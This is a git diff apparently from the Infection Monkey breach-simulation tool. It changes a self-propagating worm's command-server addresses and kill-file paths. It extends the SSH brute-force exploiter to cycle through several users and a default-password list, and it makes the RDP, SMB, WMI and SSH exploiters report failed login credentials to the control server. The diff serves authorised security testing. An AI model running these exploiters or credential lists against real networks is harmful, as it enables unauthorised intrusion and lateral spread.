diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 9c58c42f2..99512cc53 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -110,8 +110,8 @@ class Configuration(object): ########################### # Kill file ########################### - kill_file_path_windows = os.path.expandvars("%temp%\~df4150.tmp") - kill_file_path_linux = '/tmp/user-4150' + kill_file_path_windows = os.path.expandvars("%windir%\monkey.not") + kill_file_path_linux = '/var/run/monkey.not' ########################### # monkey config @@ -147,7 +147,7 @@ class Configuration(object): #Configuration servers to try to connect to, in this order. command_servers = [ - "127.0.0.1:5000" + "41.50.73.31:5000" ] # sets whether or not to locally save the running configuration after finishing @@ -194,7 +194,7 @@ class Configuration(object): psexec_passwords = ["Password1!", "1234", "password", "12345678"] # ssh exploiter - ssh_user = "root" + ssh_users = ["root"] ssh_passwords = ["Password1!", "1234", "password", "12345678"] # rdp exploiter diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 4d6e29699..cbaa0e42a 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -1,6 +1,6 @@ { "command_servers": [ - "russian-mail-brides.com:5000" + "41.50.73.31:5000" ], "internet_services": [ "monkey.guardicore.com", @@ -37,8 +37,9 @@ "dropper_target_path": "C:\\Windows\\monkey.exe", "dropper_target_path_linux": "/bin/monkey", - "kill_file_path_linux": "/tmp/user-4150", - "kill_file_path_windows": "%temp%\\~df4150.tmp", + + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", "dropper_try_move_first": false, "exploiter_classes": [ "SSHExploiter", @@ -68,7 +69,9 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "ssh_user": "root", + "ssh_user": [ + "root" + ], "local_network_scan": true, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index abc9afe7b..0685ffd59 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -13,7 +13,7 @@ from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from model.host import VictimHost from network.tools import check_port_tcp from exploit.tools import get_target_monkey -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -295,6 +295,9 @@ class RdpExploiter(HostExploiter): exploited = True host.learn_credentials(self._config.psexec_user, password) break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e4e33a0d9..616a2a195 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -6,7 +6,7 @@ from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey from network import SMBFinger -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login try: from impacket import smb @@ -88,9 +88,12 @@ class SmbExploiter(HostExploiter): host.learn_credentials(self._config.psexec_user, password) exploited = True break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: - LOG.debug("Error logging into victim %r with user" + LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 717fc9bae..fdd9fee51 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -1,12 +1,13 @@ import paramiko -import monkeyfs import logging -from tools import build_monkey_commandline +import time +from itertools import product +import monkeyfs +from tools import build_monkey_commandline,report_failed_login from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey from network.tools import check_port_tcp -import time __author__ = 'hoffer' @@ -43,31 +44,35 @@ class SSHExploiter(HostExploiter): return False passwords = list(self._config.ssh_passwords[:]) - known_password = host.get_credentials(self._config.ssh_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + users = list(self._config.ssh_users) + known_passwords = [host.get_credentials(x) for x in users] + if len(known_passwords) > 0: + for known_pass in known_passwords: + if known_pass in passwords: + passwords.remove(known_pass) + passwords.insert(0, known_pass) #try first + user_pass = product(users,passwords) exploited = False - for password in passwords: + for user, curpass in user_pass: try: ssh.connect(host.ip_addr, - username=self._config.ssh_user, - password=password, + username=user, + password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", - host, self._config.ssh_user, password) - host.learn_credentials(self._config.ssh_user, password) + host, user, curpass) + host.learn_credentials(user, curpass) exploited = True break except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, - self._config.ssh_user, password, exc) + user, curpass, exc) + report_failed_login(self,host,user,curpass) continue if not exploited: diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 7654abb30..11b55e46d 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -415,3 +415,10 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth return cmdline + + +def report_failed_login(exploiter, machine, user, password): + from control import ControlClient + ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, + 'exploiter': exploiter.__class__.__name__, + 'user':user,'password':password}) \ No newline at end of file diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 86a34e5c5..30c281c12 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -6,7 +6,8 @@ from tools import build_monkey_commandline from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model.host import VictimHost from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey +from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login +from impacket.dcerpc.v5.rpcrt import DCERPCException LOG = logging.getLogger(__name__) @@ -49,6 +50,11 @@ class WmiExploiter(HostExploiter): LOG.debug("Failed connecting to %r using WMI with password '%s'", host, password) continue + except DCERPCException, exc: + report_failed_login(self, host, self._config.psexec_user, password) + LOG.debug("Failed connecting to %r using WMI with password '%s'", + host, password) + continue except socket.error, exc: LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", host, password, exc) diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index ee360ac34..6689ad3e7 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -66,6 +66,12 @@ def main(): print "Loaded Configuration: %r" % WormConfiguration.as_dict() + #Make sure we're not in a machine that has the kill file + kill_path = WormConfiguration.kill_file_path_windows if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + if os.path.exists(kill_path): + print "Kill path found, finished run" + return True + try: if MONKEY_ARG == monkey_mode: log_path = os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" else WormConfiguration.monkey_log_path_linux diff --git a/chaos_monkey/readme.txt b/chaos_monkey/readme.txt index e9db2293b..47b3def84 100644 --- a/chaos_monkey/readme.txt +++ b/chaos_monkey/readme.txt @@ -49,7 +49,7 @@ Linux (Tested on Ubuntu 12.04): sudo pip install paramiko sudo pip install psutil sudo pip install netifaces - sudo pip install https://github.com/pyinstaller/pyinstaller/releases/download/3.0.dev2/PyInstaller-3.0.dev2.tar.gz + sudo pip install PyInstaller sudo apt-get install winbind 2. Put source code in /home/user/Code/monkey/chaos_monkey 3. To build, run in terminal: diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey_island/deb-package/monkey_island_pip_requirements.txt index a9514e2a7..149f8667f 100644 --- a/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -1,5 +1,11 @@ +python-dateutil +tornado +werkzeug +jinja2 +markupsafe +itsdangerous +click +bson flask Flask-Pymongo -Flask-Restful -python-dateutil -tornado \ No newline at end of file +Flask-Restful \ No newline at end of file diff --git a/monkey_island/linux/kali/monkey-island.service b/monkey_island/linux/kali/monkey-island.service deleted file mode 100644 index b996af5df..000000000 --- a/monkey_island/linux/kali/monkey-island.service +++ /dev/null @@ -1,9 +0,0 @@ -[Unit] -Description=Monkey Island Service - -[Service] -WorkingDirectory=/var/monkey_island/cc -ExecStart=/usr/bin/python main.py - -[Install] -WantedBy=multi-user.target diff --git a/monkey_island/linux/kali/monkey-mongo.service b/monkey_island/linux/kali/monkey-mongo.service deleted file mode 100644 index 29be3b3f6..000000000 --- a/monkey_island/linux/kali/monkey-mongo.service +++ /dev/null @@ -1,9 +0,0 @@ -[Unit] -Description=Monkey Island Mongo Service - -[Service] -WorkingDirectory=/var/monkey_island/ -ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --dbpath db - -[Install] -WantedBy=multi-user.target diff --git a/monkey_island/requirements.txt b/monkey_island/requirements.txt index bcff42515..149f8667f 100644 --- a/monkey_island/requirements.txt +++ b/monkey_island/requirements.txt @@ -1,7 +1,11 @@ +python-dateutil +tornado +werkzeug +jinja2 +markupsafe +itsdangerous +click +bson flask Flask-Pymongo -Flask-Restful -python-dateutil -impacket -pycrypto -tornado \ No newline at end of file +Flask-Restful \ No newline at end of file